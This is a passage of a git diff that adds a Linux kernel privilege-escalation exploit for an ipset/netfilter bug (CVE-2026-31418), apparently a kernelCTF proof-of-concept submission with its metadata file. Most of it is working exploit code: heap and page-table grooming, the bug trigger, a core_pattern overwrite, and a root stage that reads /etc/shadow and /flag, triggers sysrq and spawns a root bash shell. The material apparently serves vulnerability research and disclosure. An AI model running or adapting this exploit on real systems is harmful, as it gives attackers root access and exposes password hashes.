0x0000000000502520; + puts("[*] Ok lets finish it"); + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + puts(buf); + if (!fork()) { + setsid(); + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + puts("Root shell !!"); + *(size_t *)0 = 0; + } + sleep(10); + exit(0); + } else if (p[2] == 0) { + munmap((void *)addr, len); + } + } + return 0; +} + +bool select_source_page(unsigned int candidate_base, unsigned int candidate_count, const uint64_t *timings) { + unsigned int best_offset = 0; + uint64_t threshold = 0; + unsigned int hits; + unsigned int pick = 0; + unsigned int release_room = SOURCE_RELEASE_PAGES * SOURCE_PAGE_OBJS; + + hits = collect_periodic_starts(timings, candidate_count, SOURCE_PAGE_OBJS, 99U, &best_offset, &threshold); + printf("[.] source timing threshold=%llu ns best_offset=%u hits=%u over %u allocations\n", + (unsigned long long)threshold, best_offset, hits, candidate_count); + if (hits == 0) + return false; + + for (unsigned int idx = best_offset; idx + SOURCE_PAGE_OBJS + release_room <= candidate_count; idx += SOURCE_PAGE_OBJS) { + pick = idx; + } + + if (pick == 0 && !(best_offset + SOURCE_PAGE_OBJS + release_room <= candidate_count)) + return false; + + g_selected_source_base = candidate_base + pick; + printf("[.] selected source page: sets [%u,%u)\n", g_selected_source_base, g_selected_source_base + SOURCE_PAGE_OBJS); + return true; +} + +void free_source_suffix_after_selected(int fd, uint32_t *seq, unsigned int candidate_base, unsigned int candidate_count) { + unsigned int selected_end = g_selected_source_base + SOURCE_PAGE_OBJS; + unsigned int candidate_end = candidate_base + candidate_count; + if (selected_end >= candidate_end) + return; + + printf("[.] freeing trailing source sets [%u,%u)\n", selected_end, candidate_end); + unsigned int trailing_pages = (candidate_end - selected_end) / SOURCE_PAGE_OBJS; + for (int page = (int)trailing_pages - 1; page >= 0; page--) { + unsigned int start = selected_end + (unsigned int)page * SOURCE_PAGE_OBJS; + destroy_set_range(fd, seq, start, SOURCE_PAGE_OBJS); + } +} + + +bool run_one_attempt(int fd, uint32_t *seq, uint32_t a, uint32_t b, + uint32_t c, uint32_t d, uint32_t e, uint32_t f) { + unsigned int candidate_base = BURN_SET_COUNT; + unsigned int candidate_count = CANDIDATE_SET_COUNT; + + // warm_dirtypt_upper_levels + g_dirtypt_warm_region = mmap((void *)DIRTYPT_WARM_REGION_BASE, DIRTYPT_REGION_BYTES, 7, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, -1, 0); + for (unsigned int i = 0; i < DIRTYPT_REGION_COUNT; i++) { + g_dirtypt_regions[i] = mmap((void *)(DIRTYPT_BASE + (unsigned long)i * DIRTYPT_REGION_BYTES), DIRTYPT_REGION_BYTES, 7, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, -1, 0); + } + // *(unsigned char *)(g_dirtypt_warm_region + 0x1000) = 0x57; + + // draining order-0 freelist with sparse mappings + for (int i = 0; i < PTE_FENGSHUI_COUNT; i++) { + char *p = (char*) mmap((void *)(PTE_FENGSHUI_BASE + i * PTE_FENGSHUI_STRIDE), 0x1000, 7, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, -1, 0); + g_pte_addrs[i] = (void *)p; + p[0] = 'B'; + } + + // burning full kmalloc-32 source pages + prepare_source_sets(fd, seq, a, b, c, d); + for (unsigned int set_idx = 0; set_idx < BURN_SET_COUNT; set_idx++) + arm_source_batch_timed(fd, seq, set_idx, 1, a, e, NULL); + for (int burn_page = (int)BURN_SOURCE_PAGES - 2; burn_page >= 0; burn_page -= 2) { + destroy_set_range(fd, seq, (unsigned int)burn_page * SOURCE_PAGE_OBJS, SOURCE_PAGE_OBJS); + } + uint64_t *source_timings = (uint64_t*)calloc(candidate_count, sizeof(*source_timings)); + arm_source_batch_timed(fd, seq, candidate_base, candidate_count, a, e, source_timings); + select_source_page(candidate_base, candidate_count, source_timings); + free_source_suffix_after_selected(fd, seq, candidate_base, candidate_count); + + // + for (unsigned int i = 0; i < DIRTYPT_REGION_COUNT; i++) { + *(unsigned char *)(((size_t)(g_dirtypt_regions[i])) + 0x1000) = 0; + } + + // Trigger + char name[IPSET_MAXNAMELEN]; + for (unsigned int target_set = g_selected_source_base; target_set < g_selected_source_base + SOURCE_PAGE_OBJS; target_set++) { + setname_for_index(name, target_set); + CHECK_EQ(add_ip(fd, seq, name, f, 0, true), 0); + } + + // Check res + puts("checking dirtypt regions"); + for (unsigned int i = 0; i < DIRTYPT_REGION_COUNT; i++) { + g_dirtypt_regions[i] = unmap_x(g_dirtypt_regions[i], DIRTYPT_REGION_BYTES); + } + if (g_dirtypt_warm_region) { + g_dirtypt_warm_region = unmap_x(g_dirtypt_warm_region, DIRTYPT_REGION_BYTES); + } + puts("checking pte fengshui"); + for (int i = 0; i < PTE_FENGSHUI_COUNT; i++) { + g_pte_addrs[i] = unmap_x(g_pte_addrs[i], 0x1000); + } + free(source_timings); + return false; +} + +#include +#include +INCBIN(target_db, "target_db.kxdb"); + +int main(int argc, char *argv[]) { + uint32_t ips[HASH_SIZE][4]; + unsigned int cnt[HASH_SIZE]; + uint32_t a = 0, b = 0, c = 0, d = 0, e = 0, f = 0, target_bucket = 0; + uint32_t seq = 0; + struct sockaddr_nl snl = {.nl_family = AF_NETLINK}; + int fd; + + if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) { + g_initval = choose_initval_for_bucket(g_payload_host, 62); + unshare_setup(); + pin_to_cpu(0); + build_candidates(ips, cnt); + pick_attempt_ips(ips, cnt, &a, &b, &c, &d, &e, &f, &target_bucket); + fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER)); + SYSCHK(bind(fd, (struct sockaddr *)&snl, sizeof(snl))); + destroy_many_sets(fd, &seq); + while (1) { + run_one_attempt(fd, &seq, a, b, c, d, e, f); + destroy_many_sets(fd, &seq); + } + } + + if (argc > 4) { + g_payload_host = (uint32_t)strtoul(argv[1], NULL, 0); + } else if (argc > 1) { + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + dup2(stdoutfd, 1); + + system("whoami; id"); + system("head /etc/shadow"); + system("cat /flag"); + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash", "bash", NULL); + } + + static TargetDb kxdb("target_db.kxdb", target_db); + Target target = kxdb.AutoDetectTarget(); + printf("[.] Target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str()); + // puts("[-] kernelXDK do NOT support this exploit, but include it as required."); + // puts("[-] We have one virtual symbol, one physical offset to lookup."); + // puts("[-] But kernelXDK does NOT support the physical one"); + // puts("[-] This is kind of over-engineering but whatever."); + target.AddSymbol("core_pattern", 0x2bba160); + core_pattern = target.GetSymbolOffset("core_pattern"); + printf("[.] core_pattern offset: 0x%lx\n", core_pattern); + target.AddSymbol("phys_leak_offset", 0x3a04000); + off_leak_phys_base = target.GetSymbolOffset("phys_leak_offset"); + printf("[.] phys leak base offset: 0x%lx\n", off_leak_phys_base); + + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + g_initval = choose_initval_for_bucket(g_payload_host, 62); + unshare_setup(); + pin_to_cpu(0); + build_candidates(ips, cnt); + pick_attempt_ips(ips, cnt, &a, &b, &c, &d, &e, &f, &target_bucket); + + printf("[.] payload=0x%08x\n", g_payload_host); + + fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER)); + SYSCHK(bind(fd, (struct sockaddr *)&snl, sizeof(snl))); + destroy_many_sets(fd, &seq); + + + puts("[.] alloc 512M mem"); + void *x = mmap((void *)0, 0x1000 * 256 * 512, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + printf("[.] allocated mem at %p\n", x); + for (int i = 0; i < 256 * 512; i++) { + ((unsigned char *)x)[i * 0x1000] = 0x55; + } + puts("[.] mem touched"); + + int attempt = 0; + while (++attempt) { + printf("[*] attempt %u\n", attempt); + run_one_attempt(fd, &seq, a, b, c, d, e, f); + if (win) { + char cmdstring[] = "/tmp/exp/exploit "; + sprintf(cmdstring, "%20s 0x%lx 2 3 4 5", argv[0], win); + printf("[+] Spawning helper with cmd: %s\n\n\n", cmdstring); + while(1) { + system(cmdstring); + } + } + destroy_many_sets(fd, &seq); + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-31418_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-31418_cos/metadata.json new file mode 100644 index 000000000..8eeb7217c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31418_cos/metadata.json @@ -0,0 +1,25 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp464"], + "vulnerability": { + "cve": "CVE-2026-31418", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9862ef9ab0a116c6dca98842aab7de13a252ae02", + "affected_versions": ["5.6-rc4 - 7.0-rc7"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": [ + "CONFIG_NETFILTER_NETLINK", + "CONFIG_IP_SET_HASH_IP" + ] + } + }, + "exploits":{ + "cos-113-18244.582.40": { + "environment": "cos-113-18244.582.40", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "7 ~ 8 times success per 10 times run" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31418_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-31418_cos/original.tar.gz new file mode 100644 index 000000000..b163d8eb0 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31418_cos/original.tar.gz differ